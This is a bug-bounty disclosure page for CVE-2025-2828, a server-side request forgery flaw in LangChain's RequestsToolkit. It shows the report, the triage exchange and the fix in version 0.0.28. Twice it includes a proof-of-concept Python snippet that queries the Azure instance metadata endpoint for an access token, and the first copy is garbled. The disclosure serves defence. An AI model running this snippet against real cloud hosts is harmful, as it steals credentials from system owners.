

# SSRF Vulnerability in RequestsToolkit in langchain-community in langchain-ai/langchain in langchain-ai/langchain

✓ Valid

Reported on Mar 26th 2025

## Description

**Vulnerability Description** RequestsToolkit enables AI agents to perform HTTP requests (GET, POST, PATCH, PUT, DELETE) via LangChain workflows. However, a Server-Side Request Forgery (SSRF) vulnerability exists in the RequestToolkit component of the langchain-community package (specifically, `langchain_community.agent_toolkits.openapi.toolkit.RequestsToolkit`). This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to:

Perform port scans and access local services. Retrieve instance metadata from cloud environments in Azure / AWS etc. Interact with servers on the local network, including reading their response data.

**Key Risks** SSRF Exploitation: Attackers can force the toolkit to access internal APIs, cloud metadata (e.g., AWS 169.254.169.254), or sensitive intranet resources . Data Exfiltration: Malicious actors can exfiltrate data by directing requests to attacker-controlled endpoints .

**Privilege Escalation:** If the host server has elevated permissions, requests can interact with restricted services (e.g., database APIs) .

## Proof of Concept

```
from langchain_community.utilities.requests import TextRequestsWrapper from langchain_community.utilities.requests import TextRequestsWrapper

imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token" api_version = "2018-02-01"

resource = "https://management.azure.com"

url = f"{imds_endpoint}?api_version={api_version}&resource={resource}" headers = {}

requests_toolkit = RequestsToolkit(requests_wrapper=requests_wrapper)

response = requests_toolkit.requests_wrapper.get(url)

print (response)
```

# Impact

SSRF Exploitation: Attackers can force the toolkit to access internal APIs, cloud metadata (e.g., AWS/Azure 169.254.169.254), or sensitive intranet resources . Data Exfiltration: Malicious actors can exfiltrate data by directing requests to attacker-controlled endpoints . Privilege Escalation: If the host server has elevated permissions, requests can interact with restricted services (e.g., database APIs) .

## References

- <https://github.com/advisories/GHSA-q25c-c977-4cmh>

⚙️ We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 10 months ago



**huntr-helper** commented 10 months ago

Admin

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Blind or otherwise limited server-side request forgeries (ssrf)



**Meareg** commented 10 months ago

Researcher

Hi Hunter-Helper,

I opened the same defect last time. However, I made a mistake on affected version and there is no way to change it unless you create a new report. So, I close the report and I reopen a new defect after the discussion with the maintainer. The vulnerability indeed affects langchain until 0.0.27. What is the issue here?



**huntr-helper** commented 10 months ago

Admin

This report was determined to not have enough information for the maintainer or the Huntr team to triage.

**Please add more details in all sections of the report.**

Additionally, at least one PoC (Proof of Concept), needs to be provided. We *strongly* prefer the PoC to be in any of the following formats:

- Sequence of cURL commands
- A script in any programming language
- A Metasploit Module

Please note: while videos demonstrating exploitation are a welcomed addition to the report, they should not be used as a replacement for the PoC.



**Meareg** commented 10 months ago

Researcher

Hi Hunter-Helper,

Again. This defect is verified and accepted by the maintainer - Eugene Y. However, I made a mistake on the affected version and it is impossible to change once submitted. In any case here is the PoC: I tested and working in Azure. It is possible to interact to Azure IMDS to extract access token. Any clarification? (If it is possible can you assign this ticket to Eugene Y.)

```
from langchain_community.utilities.requests import TextRequestsWrapper from
langchain_community.agent_toolkits.openapi.toolkit import RequestsToolkit
```

```
imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token" api_version =
"2018-02-01"
```

```
resource = "https://management.azure.com"
```

```
url = f"{imds_endpoint}?api_version={api_version}&resource={resource}" headers =
{'Metadata': 'true'} requests_wrapper = TextRequestsWrapper(headers=headers)
```

```
requests_toolkit = RequestsToolkit(requests_wrapper=requests_wrapper)
```

```
response = requests_toolkit.requests_wrapper.get(url)
```

```
print (response)
```



**Eugene Yurtsev** validated this vulnerability 10 months ago

\$ **ano251** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



**CVE-2025-2828** assigned to this report. 10 months ago



**Eugene Yurtsev** marked this as fixed in **0.0.28** with commit **e188d4** 10 months ago

\$ **Eugene Yurtsev** has been awarded the fix bounty ✓

⚠ We have sent a warning to the **langchain-ai/langchain** team to inform them that this report will be published in 48 hours 7 months ago

✉ We have notified the **langchain-ai/langchain** maintainers about this report in their weekly follow-up 7 months ago



This vulnerability has now been published 7 months ago



[Sign in](#) to join this conversation

CVE

CVE-2025-2828

Published

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

Severity

High (8.4)

|                     |          |
|---------------------|----------|
| Attack vector       | Network  |
| Attack complexity   | Low      |
| Privileges required | High     |
| User interaction    | Required |
| Scope               | Changed  |
| Confidentiality     | High     |
| Integrity           | High     |
| Availability        | High     |

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

0.0.27

Visibility

Public

Status

Fixed

Found by



Meareg

@ano251

LIGHTWEIGHT



Fixed by



Eugene Yurtsev

@eyurtsev

UNPROVEN



